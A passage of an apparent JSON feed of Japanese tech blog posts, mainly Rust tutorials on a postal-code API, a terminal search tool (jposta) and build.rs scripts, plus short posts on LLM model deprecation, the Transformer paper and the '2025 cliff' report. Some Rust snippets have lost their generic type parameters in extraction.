シリアライズ設定トレイトの実装From: 型変換の実装IntoResponse: HTTPレスポンスへの変換Error: カスタムエラー型の定義ジェネリクスとライフタイムOption: 省略可能な値の表現Result: エラーハンドリングVec: 可変長配列の使用型システムの活用カスタム構造体の定義列挙型によるエラー表現デフォルト値の実装Rust初学者のためのyubin_api実装解説 - 後編5. APIルートの実装(routes.rs)APIの実際のエンドポイントを実装します:use axum::{extract::Path, http::StatusCode, response::IntoResponse, Json};use metrics::{counter, histogram};use tracing::info;// ヘルスチェックエンドポイントpub async fn health_check() -> impl IntoResponse { StatusCode::OK}// 郵便番号検索エンドポイントpub async fn lookup_by_postal_code( Path(code): Path, // URLパスからパラメータを取得) -> Result>, ApiError> { // リクエストのログ記録 info!(\\"Looking up postal code: {}\\", code); // メトリクスのカウントアップ counter!(\\"yubin_api_postal_lookups_total\\", 1); // 処理時間の計測開始 let start = std::time::Instant::now(); // 郵便番号検索の実行 let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { jpostcode_rs::JPostError::InvalidFormat => ApiError::InvalidPostalCode, jpostcode_rs::JPostError::NotFound => ApiError::NotFound, })?; // 処理時間の計測と記録 let duration = start.elapsed().as_secs_f64(); histogram!(\\"yubin_api_postal_lookup_duration_seconds\\", duration); // 結果の返却 Ok(Json(result.into_iter().map(Into::into).collect()))}// 住所検索エンドポイントpub async fn search_by_address( Json(query): Json, // リクエストボディからのJSONパース) -> Result>, ApiError> { info!(\\"Searching address with query: {}\\", query.query); // 入力値の検証 if query.query.trim().is_empty() { return Err(ApiError::InvalidPostalCode); } counter!(\\"yubin_api_address_searches_total\\", 1); let start = std::time::Instant::now(); // 住所検索の実行 let mut results: Vec = jpostcode_rs::search_by_address(&query.query) .into_iter() .map(Into::into) .collect(); // 結果数の制限適用 results.truncate(query.limit); let duration = start.elapsed().as_secs_f64(); histogram!(\\"yubin_api_address_search_duration_seconds\\", duration); Ok(Json(results))}6. メインアプリケーションの実装(main.rs)アプリケーションのエントリーポイントとサーバーの設定:use axum::{routing::{get, post}, Router};use std::net::SocketAddr;use tower::ServiceBuilder;use tower_http::{ cors::{Any, CorsLayer}, trace::{DefaultMakeSpan, DefaultOnResponse, TraceLayer},};use tracing::info;#[tokio::main]async fn main() { // ロギングの初期化 tracing_subscriber::fmt() .with_env_filter( tracing_subscriber::EnvFilter::try_from_default_env() .unwrap_or_else(|_| \\"yubin_api=debug,tower_http=debug\\".into()), ) .init(); // メトリクス収集の初期化 setup_metrics(); // リクエストトレース設定 let trace_layer = TraceLayer::new_for_http() .make_span_with(DefaultMakeSpan::new().include_headers(true)) .on_response(DefaultOnResponse::new().include_headers(true)); // CORS設定 let cors = CorsLayer::new() .allow_methods(Any) .allow_headers(Any) .allow_origin(Any); // ルーターの設定 let app = Router::new() .route(\\"/health\\", get(health_check)) .route(\\"/postal/:code\\", get(lookup_by_postal_code)) .route(\\"/address/search\\", post(search_by_address)) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors)); // サーバーアドレスの設定 let addr = SocketAddr::from(([127, 0, 0, 1], 3000)); info!(\\"Server listening on {}\\", addr); // サーバーの起動 let listener = tokio::net::TcpListener::bind(addr).await.unwrap(); axum::serve(listener, app).await.unwrap();}7. 重要な実装パターンの解説非同期処理// 非同期関数の定義pub async fn lookup_by_postal_code(...) -> Result<...> { // 非同期処理の実行 let result = jpostcode_rs::lookup_address(&code)?; // ...}// 非同期ランタイムの設定#[tokio::main]async fn main() { // ...}エラーハンドリング// Result型を使用したエラー処理let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { JPostError::InvalidFormat => ApiError::InvalidPostalCode, JPostError::NotFound => ApiError::NotFound,})?;ミドルウェアの構成let app = Router::new() .route(...) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors));8. API使用例郵便番号による検索curl http://localhost:3000/postal/1000001レスポンス例:[ { \\"postal_code\\": \\"1000001\\", \\"prefecture\\": \\"東京都\\", \\"city\\": \\"千代田区\\", \\"town\\": \\"千代田\\", ... }]住所による検索curl -X POST http://localhost:3000/address/search \\\\ -H \\"Content-Type: application/json\\" \\\\ -d \'{\\"query\\": \\"東京都千代田区\\", \\"limit\\": 10}\'9. Rustの知っておいたほうがいいポイント解説(後編)非同期プログラミングasync/awaitの使用方法tokioランタイムの理解非同期関数の定義と呼び出しエラーハンドリングパターンResult型の活用エラー変換のベストプラクティスエラーの伝播(?演算子)HTTPサーバーの実装ルーティング設定ミドルウェアの活用リクエスト/レスポンスの処理テスト可能な設計モジュール分割依存性の分離エラー処理の一貫性おわりにyubin_apiの実装を通じて、Rustによる実践的なWeb API開発の全体像を見てきました。このプロジェクトでは、カスタムエラー型の定義や型安全なデータ変換、トレイトの実装といった堅牢な型システムの活用を行いました。また、tokioによる非同期ランタイムやasync/awaitの効果的な使用、エラーハンドリングとの統合などの非同期プログラミングの実践も重要な要素となっています。さらに、メトリクス収集や構造化ログ、エラートラッキングといった運用面の考慮など、重要な概念と技術を学ぶことができました。このプロジェクトは、単なる郵便番号検索APIの実装を超えて、Rustの実践的な使用方法と、プロダクション品質のWebサービス開発の基本を学ぶ良い例となっています。","isoDate":"2024-12-04T14:36:41.000Z","dateMiliSeconds":1733323001000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"構造化ログのスキーマを考えてみる","link":"https://blog.atusy.net/2024/12/04/log-schema/","contentSnippet":"ログ設計初心者なりに、分析しやすいログってなにかなと考えてみた。","isoDate":"2024-12-04T00:00:00.000Z","dateMiliSeconds":1733270400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"argocd コマンドで別ブランチとの差分を確認する","link":"https://qiita.com/yteraoka/items/aea03d50288375f85183","contentSnippet":"ArgoCD の GitOps で Merge 前に manifest の差分を見たいArgoCD は Application リソースで source に指定した Git などの定義と実際に K…","isoDate":"2024-12-03T15:14:17.000Z","dateMiliSeconds":1733238857000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"LLMのモデル更新や廃止による影響を考える","link":"https://shu-kob.hateblo.jp/entry/2024/12/03/232856","contentSnippet":"この記事は、MLOps(LLMOps、生成AIOps) Advent Calendar 2024 4日目の記事です。生成AIの普及により、アプリケーションに組み込んで実運用を始めた方も増えてきたと思います。LLMOpsをする中で気をつけたいことを考えてみました。モデルの更新まず、思い浮かぶのがモデルの更新よる影響です。モデルの更新によって性能が上がるなどのメリットを享受できる反面、挙動変更によって、困ることもあります。私の場合、システムの実運用では無いですが、LLM技術書のサンプルコードが動かなくなる事態がありました。06_agent/agent_5.py で2回目の実行結果が正しく表示されません \xb7 Issue #3 \xb7 harukaxq/langchain-book \xb7 GitHubgpt-3.5-turboをAgentとして使用したときの挙動が変わったという内容です。アプリに組み込んでいたら、機能が使えなくなる可能性があり、使えなくなった場合の代替案も用意しておく必要があると考えました。また、LLMのリリース情報もウォッチしておく必要があるでしょう。Geminiはリリースの最新情報を日本語で提供しています。gemini.google.comChatGPTはリリースノートを英語のみですが提供しています。ChatGPT — Release Notes | OpenAI Help CenterAnthropic製品(Claude)のリリースノートは日本語で提供されています。docs.anthropic.comモデルの廃止モデルの廃止もウォッチする必要があるでしょう。GPT-3.5 Turbo終了はニュースになりました。xtech.nikkei.com↑日経クロステックの有料会員記事ですが、会員でなくても1ページ目で内容は把握できます。learn.microsoft.comAzure OpenAIでは、GPTの各種マイナーバージョンが提供されていますが、適宜廃止になるので注意が必要です。廃止になる場合、モデルのVersion UPが必要なので、早めに開発環境でVersion UPしたモデルの挙動確認をする必要があるでしょう。Version UPしたモデルだと、LLMの利用料が高くなることも念頭に置いて、コスト試算しましょう。まとめモデル更新や廃止を早く知るために、LLM公式サイトのリリースノートなどのウォッチをして、早めに対策をしましょう。","isoDate":"2024-12-03T14:28:56.000Z","dateMiliSeconds":1733236136000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Rustで郵便番号・住所検索TUIツールを開発した - jposta","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/230030","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 5日目の記事です!qiita.comはじめにこんにちは!jposta を紹介させてください。jpostaは、日本の郵便番号・住所をターミナルから手軽に検索できるTUIツール \uD83D\uDD0D です。Rustで書かれており ⚡、使いやすさを重視してリアルタイム検索を実装しました \uD83D\uDDA5️。jposta の動作イメージ元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。美しい実装すぎて震えました。blog.syum.ai機能紹介この小さなツールでは、郵便番号から住所の簡単検索 \uD83C\uDFE0 はもちろん、住所からの郵便番号検索 \uD83D\uDD22 もラクラクできます。入力しながらサクサク表示されるリアルタイム検索 ⚡ や、キーボードだけでスイスイ操作 ⌨️ が可能で、スクロールもサクサク動き \uD83D\uDCDC、もちろん日本語もバッチリ対応 \uD83D\uDDFE しています。ぜひGitHubをチェックしてみてください!github.comインストールcargo install --git https://github.com/nwiizo/jpostaもしくはcargo install jpostaこちら、みんなだいすきcrate.ioにちゃんとあげました。https://crates.io/crates/jposta基本操作Tab: 郵便番号/住所検索モード切替↑↓: 結果スクロールEsc: 終了検索モード郵便番号検索数字を入力すると自動で該当する住所を表示部分一致対応(\\"100\\"で始まる郵便番号すべて等)住所検索漢字やかなで住所を入力部分一致対応(\\"渋谷\\"等)Rustでの実装解説1. 基本構造の定義#[derive(Clone)]enum InputMode { Postal, // 郵便番号検索 Address, // 住所検索}struct App { input: String, results: Vec, input_mode: InputMode, scroll_state: ScrollbarState, scroll_position: u16, search_tx: mpsc::Sender, result_rx: mpsc::Receiver>,}InputModeは検索モードを表す列挙型です。Cloneトレイトを導出することで、値のコピーが可能になります。App構造体はアプリケーションの状態を管理します。input: 現在の入力文字列results: 検索結果の配列input_mode: 現在の検索モードscroll_stateとscroll_position: スクロール状態の管理search_txとresult_rx: スレッド間通信用のチャンネル2. アプリケーションの初期化impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { let mut last_query = String::new(); let mut input_mode = InputMode::Postal; while let Ok(query) = search_rx.recv() { // 検索処理(後述) } }); App { input: String::new(), results: Vec::new(), input_mode: InputMode::Postal, scroll_state: ScrollbarState::default(), scroll_position: 0, search_tx, result_rx, } }}new()関数では、2つのチャンネルを作成(検索クエリ用と結果用)検索処理を行うワーカースレッドを起動初期状態のAppインスタンスを返す3. 検索処理の実装// 検索スレッド内の処理if query.starts_with(\\"MODE_CHANGE:\\") { input_mode = match &query[11..] { \\"postal\\" => InputMode::Postal, _ => InputMode::Address, }; continue;}if query == last_query { continue; }last_query = query.clone();if query.is_empty() { let _ = result_tx.send(Vec::new()); continue;}thread::sleep(Duration::from_millis(100));let results = match input_mode { InputMode::Postal => lookup_addresses(&query) .map(|addresses| { addresses .into_iter() .map(|addr| addr.formatted_with_kana()) .collect() }) .unwrap_or_default(), InputMode::Address => search_by_address(&query) .into_iter() .map(|addr| addr.formatted_with_kana()) .collect(),};let _ = result_tx.send(results);検索処理では、モード変更メッセージの確認と処理重複クエリのスキップ空クエリの即時処理ディバウンス処理(100ms)モードに応じた検索実行結果の送信4. UIとイベント処理fn main() -> io::Result<()> { enable_raw_mode()?; let mut stdout = stdout(); execute!(stdout, EnterAlternateScreen)?; let backend = CrosstermBackend::new(stdout); let mut terminal = Terminal::new(backend)?; let mut app = App::new(); loop { app.check_results(); terminal.draw(|f| { let chunks = Layout::default() .direction(Direction::Vertical) .constraints([ Constraint::Length(3), Constraint::Min(0) ]) .split(f.size()); // 入力欄の描画 let input_block = Block::default() .title(match app.input_mode { InputMode::Postal => \\"郵便番号検索\\", InputMode::Address => \\"住所検索\\", }) .borders(Borders::ALL); let input = Paragraph::new(app.input.as_str()) .block(input_block) .style(Style::default().fg(Color::Yellow)); f.render_widget(input, chunks[0]); // 結果表示の描画 let results_block = Block::default() .title(format!(\\"検索結果 ({} 件)\\", app.results.len())) .borders(Borders::ALL); let results = Paragraph::new(app.results.join(\\"\\\\n\\")) .block(results_block) .scroll((app.scroll_position, 0)); f.render_widget(results, chunks[1]); })?; // キー入力処理 if let Event::Key(key) = event::read()? { match key.code { KeyCode::Char(c) => { app.input.push(c); app.search(); } KeyCode::Backspace => { app.input.pop(); app.search(); } KeyCode::Up => app.scroll_up(), KeyCode::Down => app.scroll_down(), KeyCode::Tab => app.change_mode(match app.input_mode { InputMode::Postal => InputMode::Address, InputMode::Address => InputMode::Postal, }), KeyCode::Esc => break, _ => {} } } } // 終了処理 execute!(terminal.backend_mut(), LeaveAlternateScreen)?; disable_raw_mode()?; Ok(())}UIとイベント処理では、ターミナルの初期化メインループ検索結果の確認画面描画キー入力処理終了時のクリーンアップ5. 補助機能の実装impl App { fn search(&mut self) { let _ = self.search_tx.send(self.input.clone()); } fn check_results(&mut self) { if let Ok(new_results) = self.result_rx.try_recv() { self.results = new_results; self.scroll_position = 0; self.scroll_state = ScrollbarState::new(self.results.len()); } } fn scroll_up(&mut self) { self.scroll_position = self.scroll_position.saturating_sub(1); } fn scroll_down(&mut self) { if !self.results.is_empty() { self.scroll_position = self .scroll_position .saturating_add(1) .min((self.results.len() as u16).saturating_sub(1)); } } fn change_mode(&mut self, mode: InputMode) { self.input_mode = mode; let mode_str = match self.input_mode { InputMode::Postal => \\"postal\\", InputMode::Address => \\"address\\", }; let _ = self.search_tx.send(format!(\\"MODE_CHANGE:{}\\", mode_str)); self.input.clear(); self.results.clear(); }}補助機能として、1. 検索リクエストの送信2. 検索結果の確認と更新3. スクロール処理4. モード切替処理これらの機能により、スムーズな検索体験を実現しています。使用ライブラリratatui: TUI(テキストユーザーインターフェース)フレームワークcrossterm: ターミナル操作ライブラリjpostcode_rs: 郵便番号データ処理ライブラリRust学習リソース1. 基礎学習The Rust Programming Language - 公式ガイドブックRust by Example - 実例で学ぶRustRustlings - 対話型学習ツール2. 基本概念構造体(Structs)列挙型(Enums)メソッド実装3. メモリ管理所有権システム参照と借用4. 言語機能パターンマッチングクロージャ5. エラー処理と型システムエラー処理Result型境界チェック演算子さいごにこのプロジェクトは、Rustの実践的な学習と日本の住所システムへの理解を深める良い機会となりました \uD83D\uDCDA。非同期処理やTUIの実装を通じて、Rustの強力な型システムと安全性を活かしたコーディングを実践できました ⚡。ぜひ使ってみて、フィードバックをいただければ幸いです \uD83D\uDE4F。プルリクエストも大歓迎です \uD83C\uDF89!ソースコード\uD83E\uDD80GitHub - jposta","isoDate":"2024-12-03T14:00:30.000Z","dateMiliSeconds":1733234430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈なことはRust Build Scripts にやらせよう","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/143149","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 3日目の記事です!qiita.comはじめにRustのビルドスクリプト(build.rs)は、コンパイル前のデータ処理や環境設定を自動化する強力なツールです。しかし、大いなる力には、大いなる責任が伴います。コードの生成、リソースの最適化、プラットフォーム固有の設定管理など、ビルド時の様々なタスクを効率的に処理できます。今回は、そのユースケースの1つとして、郵便番号データを処理するビルドスクリプトの実装を詳しく解説します。この例を通じて、build.rsの基本的な使い方から実践的な活用方法まで、段階的に理解を深めていきましょう。doc.rust-lang.orgはじめにユースケース:郵便番号データの処理実装の全体像実装の詳細解説1. ファイル変更の監視設定2. パスの設定3. データの処理4. 結果の出力生成したデータの利用方法1. アプリケーションでのデータ読み込み2. 検索機能の実装build.rsの主要な機能1. 環境変数の設定2. リンカ設定3. コードの生成実践的な利用シーン1. 設定ファイルの統合と生成2. プロトコル定義ファイルの生成3. アセットファイルの埋め込み4. データベースマイグレーションファイルの統合参考資料まとめユースケース:郵便番号データの処理このビルドスクリプトは、複数のJSONファイルに分散された郵便番号データを1つのファイルにマージする処理を行います。github.com実装の全体像use serde_json::Value;use std::collections::HashMap;use std::fs;use std::path::Path;use walkdir::WalkDir;fn main() { println!(\\"cargo:rerun-if-changed=jpostcode-data/data/json\\"); let json_dir = Path::new(\\"jpostcode-data/data/json\\"); let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"address_data.json\\"); let mut merged_data = HashMap::new(); // ... データ処理ロジック ...}実装の詳細解説1. ファイル変更の監視設定println!(\\"cargo:rerun-if-changed=jpostcode-data/data/json\\");この行は、指定したディレクトリ内のファイルが変更された場合にのみビルドスクリプトを再実行するように設定します。これにより、不必要なビルド時間を削減できます。2. パスの設定let json_dir = Path::new(\\"jpostcode-data/data/json\\");let out_dir = std::env::var(\\"OUT_DIR\\").unwrap();let dest_path = Path::new(&out_dir).join(\\"address_data.json\\");json_dir: 入力となるJSONファイルが格納されているディレクトリout_dir: Cargoが提供するビルド出力ディレクトリdest_path: 生成されるファイルの出力先3. データの処理for entry in WalkDir::new(json_dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() && entry.path().extension().map_or(false, |ext| ext == \\"json\\") { let content = fs::read_to_string(entry.path()).unwrap(); let file_data: HashMap = serde_json::from_str(&content).unwrap(); let prefix = entry.path().file_stem().unwrap().to_str().unwrap(); for (suffix, data) in file_data { let full_postcode = format!(\\"{}{}\\", prefix, suffix); merged_data.insert(full_postcode, data); } }}このコードブロックでは以下の処理を行っています。WalkDirを使用してディレクトリを再帰的に走査JSONファイルのみを対象にフィルタリング各ファイルの内容を読み込みとパースファイル名とデータを組み合わせて完全な郵便番号を生成マージされたデータに追加4. 結果の出力fs::write(dest_path, serde_json::to_string(&merged_data).unwrap()).unwrap();処理したデータを1つのJSONファイルとして出力します。生成したデータの利用方法1. アプリケーションでのデータ読み込みuse once_cell::sync::Lazy;use serde::{Deserialize, Serialize};use std::collections::HashMap;#[derive(Debug, Serialize, Deserialize)]struct Address { postcode: String, prefecture: String, city: String, // ... 他のフィールド}static ADDRESS_MAP: Lazy>> = Lazy::new(|| { let data = include_str!(concat!(env!(\\"OUT_DIR\\"), \\"/address_data.json\\")); serde_json::from_str(data).expect(\\"Failed to parse address data\\")});2. 検索機能の実装fn lookup_address(postal_code: &str) -> Option<&Vec
> { ADDRESS_MAP.get(postal_code)}fn search_by_prefecture(prefecture: &str) -> Vec<&Address> { ADDRESS_MAP .values() .flat_map(|addresses| addresses.iter()) .filter(|addr| addr.prefecture == prefecture) .collect()}build.rsの主要な機能1. 環境変数の設定// コンパイル時の条件設定println!(\\"cargo:rustc-cfg=feature=\\\\\\"custom_feature\\\\\\"\\");// 環境変数の設定println!(\\"cargo:rustc-env=APP_VERSION=1.0.0\\");2. リンカ設定// 外部ライブラリのリンクprintln!(\\"cargo:rustc-link-lib=sqlite3\\");println!(\\"cargo:rustc-link-search=native=/usr/local/lib\\");3. コードの生成// バージョン情報の生成let version_code = format!( \\"pub const VERSION: &str = \\\\\\"{}\\\\\\";\\\\n\\", env!(\\"CARGO_PKG_VERSION\\"));fs::write(\\"version.rs\\", version_code)?;実践的な利用シーン1. 設定ファイルの統合と生成複数の環境向けの設定ファイルを1つに統合する例:use std::collections::HashMap;use serde_json::Value;fn main() { println!(\\"cargo:rerun-if-changed=config/\\"); let environments = [\\"development\\", \\"staging\\", \\"production\\"]; let mut merged_config = HashMap::new(); for env in environments { let config_path = format!(\\"config/{}.json\\", env); let config_content = std::fs::read_to_string(&config_path).unwrap(); let config: Value = serde_json::from_str(&config_content).unwrap(); merged_config.insert(env, config); } let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"config.rs\\"); // 設定をRustのコードとして出力 let config_code = format!( \\"pub static CONFIG: Lazy> = Lazy::new(|| {{ serde_json::from_str({}).unwrap() }});\\", serde_json::to_string(&merged_config).unwrap() ); std::fs::write(dest_path, config_code).unwrap();}使用例:// main.rsuse once_cell::sync::Lazy;include!(concat!(env!(\\"OUT_DIR\\"), \\"/config.rs\\"));fn get_database_url(env: &str) -> String { CONFIG[env][\\"database\\"][\\"url\\"].as_str().unwrap().to_string()}2. プロトコル定義ファイルの生成Protocol Buffersの定義ファイルからRustコードを生成する例:use std::process::Command;fn main() { println!(\\"cargo:rerun-if-changed=proto/\\"); // protoファイルのコンパイル let status = Command::new(\\"protoc\\") .args(&[ \\"--rust_out=src/generated\\", \\"--proto_path=proto\\", \\"service.proto\\" ]) .status() .unwrap(); if !status.success() { panic!(\\"Failed to compile proto files\\"); } // 生成されたコードをモジュールとして登録 let mod_content = r#\\" pub mod generated { include!(\\"generated/service.rs\\"); } \\"#; std::fs::write(\\"src/proto_mod.rs\\", mod_content).unwrap();}使用例:// lib.rsmod proto_mod;use proto_mod::generated::{UserRequest, UserResponse};pub async fn handle_user_request(req: UserRequest) -> UserResponse { // プロトコル定義に基づいた処理}3. アセットファイルの埋め込み画像やテキストファイルをバイナリに埋め込む例:use std::collections::HashMap;use base64;fn main() { println!(\\"cargo:rerun-if-changed=assets/\\"); let mut assets = HashMap::new(); // 画像ファイルの埋め込み for entry in std::fs::read_dir(\\"assets\\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \\"png\\" || ext == \\"jpg\\") { let content = std::fs::read(&path).unwrap(); let encoded = base64::encode(&content); let asset_name = path.file_name().unwrap().to_str().unwrap(); assets.insert(asset_name.to_string(), encoded); } } // アセットデータをRustコードとして出力 let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"assets.rs\\"); let assets_code = format!( \\"pub static ASSETS: Lazy> = Lazy::new(|| {{ let mut m = HashMap::new(); {} m }});\\", assets.iter().map(|(k, v)| { format!(\\"m.insert(\\\\\\"{}\\\\\\".to_string(), \\\\\\"{}\\\\\\".to_string());\\", k, v) }).collect::>().join(\\"\\\\n\\") ); std::fs::write(dest_path, assets_code).unwrap();}使用例:// lib.rsuse once_cell::sync::Lazy;include!(concat!(env!(\\"OUT_DIR\\"), \\"/assets.rs\\"));pub fn get_image_data(name: &str) -> Option> { ASSETS.get(name) .map(|encoded| base64::decode(encoded).unwrap())}4. データベースマイグレーションファイルの統合SQLマイグレーションファイルを1つのモジュールにまとめる例:fn main() { println!(\\"cargo:rerun-if-changed=migrations/\\"); let mut migrations = Vec::new(); // マイグレーションファイルの収集 for entry in std::fs::read_dir(\\"migrations\\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \\"sql\\") { let version = path.file_stem().unwrap().to_str().unwrap() .split(\'_\').next().unwrap(); let content = std::fs::read_to_string(&path).unwrap(); migrations.push((version.to_string(), content)); } } // マイグレーションをRustコードとして出力 let migrations_code = format!( \\"pub static MIGRATIONS: &[(&str, &str)] = &[{}];\\", migrations.iter() .map(|(ver, sql)| format!(\\"(\\\\\\"{}\\\\\\", \\\\\\"{}\\\\\\")\\", ver, sql.replace(\\"\\\\\\"\\", \\"\\\\\\\\\\\\\\"\\"))) .collect::>() .join(\\",\\\\n\\") ); let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"migrations.rs\\"); std::fs::write(dest_path, migrations_code).unwrap();}使用例:// database.rsinclude!(concat!(env!(\\"OUT_DIR\\"), \\"/migrations.rs\\"));pub async fn run_migrations(db: &SqlitePool) -> Result<()> { for (version, sql) in MIGRATIONS { db.execute(sql).await?; println!(\\"Applied migration version {}\\", version); } Ok(())}これらの例は、build.rsの実践的な使用方法を示しています。各例で以下のような利点があります。コンパイル時のリソース最適化開発時の利便性向上ランタイムパフォーマンスの改善コードの保守性向上実際のプロジェクトでは、これらの手法を組み合わせたり、プロジェクトの要件に合わせてカスタマイズしたりすることで、より効率的な開発環境を構築できます。しかし、魔環境もしくはビルド地獄を顕現させることもできるので注意が必要だと思いました。参考資料The Cargo Book - Build ScriptsRust By Example - Build Scriptsまとめこのビルドスクリプトの実装例を通じて、build.rsの有用性が明確になりました。コンパイル時のデータ最適化や複数ファイルの統合処理、動的なコード生成、そしてプラットフォーム固有の設定管理など、多岐にわたる機能を提供します。実際のプロジェクトでは、これらの機能を組み合わせることで、効率的な開発環境とビルドプロセスを実現できます。build.rsを活用することで、コンパイル時に必要なリソースの最適化や設定の自動化が可能となり、開発効率の向上とコードの保守性改善に大きく貢献します。","isoDate":"2024-12-03T05:31:49.000Z","dateMiliSeconds":1733203909000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Transformer論文を生成AIで要約してみた","link":"https://shu-kob.hateblo.jp/entry/2024/12/02/233507","contentSnippet":"この記事は生成AI Advent Calendar 2024の3日目の記事です。AIの歴史は60年ほどで、「冬の時代」と呼ばれる停滞期もありましたが、昨今の生成AIの発展は「Transformer」と呼ばれる論文から始まりました。この「Transformer」論文をわかりやすいように生成AIに要約させてみました。arxiv.org「Transformer」論文は上記サイトで見ることができます。論文の正式名称は「Attention Is All You Need」で、現在 v7。右側のAccess Paper:から閲覧することができます。なお、PDFの直リンクはこちらGoogle CloudのVertex AIでGeminiに要約させた結果は以下です。プロンプト「この論文を日本語で高校3年生レベルにもわかるように要約してください。」この論文は、「Transformer」という、機械翻訳などのシーケンス変換タスクに革新をもたらした新しいニューラルネットワークアーキテクチャを提案しています。高校3年生にもわかるように要約すると、以下のようになります。従来の機械翻訳の問題点:従来の機械翻訳は、RNN(再帰型ニューラルネットワーク)という技術を主に使っていました。RNNは文章を単語ごとに順番に処理していくため、長い文章だと処理に時間がかかります。また、並列処理が難しいため、計算速度を上げるのが困難でした。Transformerの革新的な点:Transformerは、「Attention(注意機構)」という仕組みに完全に基づいており、RNNのような順番に処理する仕組みを完全に排除しました。Attention機構は、翻訳したい単語を生成する際に、入力文全体の中でどの単語に注目すべきかを判断する仕組みです。人間の翻訳作業で例えると、翻訳する際に原文の関連する部分に注目するのと同じような働きをします。この仕組みにより、以下の利点が生まれました。並列処理が可能: 単語を順番に処理する必要がないため、並列処理が可能になり、計算速度が大幅に向上しました。長い文章への対応力向上: RNNでは、文章が長くなるほど精度が落ちやすいという問題がありましたが、Attention機構は入力文全体を一度に見ることができるため、長い文章でも高い精度を維持できます。Transformerの成果:Transformerは、従来のモデルよりも高い精度を達成し、さらに学習時間も大幅に短縮しました。具体的には、英語からドイツ語への翻訳と英語からフランス語への翻訳タスクで、当時の最高精度を更新しました。Transformerの仕組みを簡単に説明すると:Transformerは、エンコーダとデコーダという2つの部分から構成されています。エンコーダ: 入力文を解析し、各単語の意味をベクトル表現に変換します。デコーダ: エンコーダの出力とAttention機構を利用して、翻訳文を生成します。エンコーダとデコーダは、それぞれ複数の層が積み重なった構造になっています。各層は、Attention機構と全結合層という2つのサブ層から構成されています。Transformerの今後の展望:Transformerは、テキスト以外のデータ(画像、音声、動画など)にも応用できる可能性があり、様々な分野での活用が期待されています。また、文章生成をより効率的に行うための研究も進められています。簡単に言うと、Transformerは、人間の「注意」の仕組みに似た仕組みを使って、従来よりも高速で高精度な機械翻訳を実現した画期的な技術です。","isoDate":"2024-12-02T14:35:07.000Z","dateMiliSeconds":1733150107000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"2025年の崖から考える我々のパーパス(序章)","link":"https://shu-kob.hateblo.jp/entry/2024/12/01/232229","contentSnippet":"はじめにこの記事は3-shake Advent Calendar 2024 シリーズ1の2日目の記事です。1日目はシリーズ1がYutaro ShirayamaさんのポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する2日目はシリーズ2がYoshinori Teraokaさんのvector で kubernetes の container log を CloudWatch Logs に転送するでした。なお、シリーズ2の2日目はshingo919さんの 九州旅行記(ドライブでの九州一週旅行は大変だった!)です。2025年の崖今回は「2025年の崖」について軽くご紹介したいと思います。いよいよ2025年になりますが、ITでは「2025年の崖」という言葉が存在します。2025年の崖がある中で、スリーシェイクのSreake事業部が果たす役割を考えていきたいと思います。「2025年の崖」をググったら色々出てきますが、経済産業省のレポートが1次情報源的かつわかりやすいでしょう。www.meti.go.jpなお、DXレポート ~ITシステム「2025年の崖」の克服とDXの本格的な展開~(サマリー)はスライド5枚にまとまっており、さっと読みやすいです。「2025年の崖」は要するに何なのかというと、IT人材が不足しており、レガシーシステムを保守するのに限界が来ている。DXも推進しないといけない。何とかしないともう後が無い。という状況。2015年時点で、IT人材の不足が約17万人とされていたところ、2025年には約43万人にまで上ります。既存のレガシーシステムの保守がブラックボックス、属人的になっており、DX化の足枷に → デジタル競争の敗者に技術的負債が溜まる一方保守運用の担い手不足で、サイバーセキュリティ事故が起きやすくこんな厳しい状況を打破するには、ユーザとベンダーそれぞれで対策していく必要があります。ユーザは人材・資金を保守からDXにシフトベンダーも同様に人材・資金を保守からDXにシフトベンダーはAI、アジャイル、マイクロサービス等最新技術を用いたビジネスにシフトやることはわかっていても、そう簡単にはいきません。ただし、スリーシェイクのSreake事業では、内製化支援も行っており、これまで数々の企業様の支援を行ってまいりました。Sreakeという商材は難しく、入社して1年が経った私もストンと腹落ちできる説明ができないままでしたが、「2025年の崖」をどう克服するかが我々のパーパスだと感じました。私は生成AIアプリケーション開発支援というDXを担当しておりますが、案件の推進を通して、「DX推進」を語れるようになっていきたいと思います。今回は、序章のような形で今後も2025年の崖について書いていければと思います。次の3-shake Advent Calendar 2024はシリーズ1がkechigonさんの「Google Cloud monitoringのアラートをGitHub issueに通知する」シリーズ2がtryu___さんの「kubebuilder使ってpodの監視してみた」です。","isoDate":"2024-12-01T14:22:29.000Z","dateMiliSeconds":1733062949000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"vector で kubernetes の container log を CloudWatch Logs に転送する","link":"https://qiita.com/yteraoka/items/df0777cdcb403a7af750","contentSnippet":"Vector とはvector は timber とともに買収され datadog がメンテナンスしているオープンソースプロジェクトのようです。(Datadog acquires Timber 